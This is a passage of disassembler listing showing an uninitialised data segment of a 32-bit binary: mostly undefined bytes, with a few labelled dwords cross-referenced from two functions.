		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
dword_807B82C	dd ?			; DATA XREF: sub_805A11C+42o
					; sub_805A11C+D5r ...
unk_807B830	db    ?	;		; DATA XREF: sub_805A11C+47o
		db    ?	;
		db    ?	;
		db    ?	;
dword_807B834	dd ?			; DATA XREF: sub_805A11C+52r
					; sub_805AF5C+51w
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
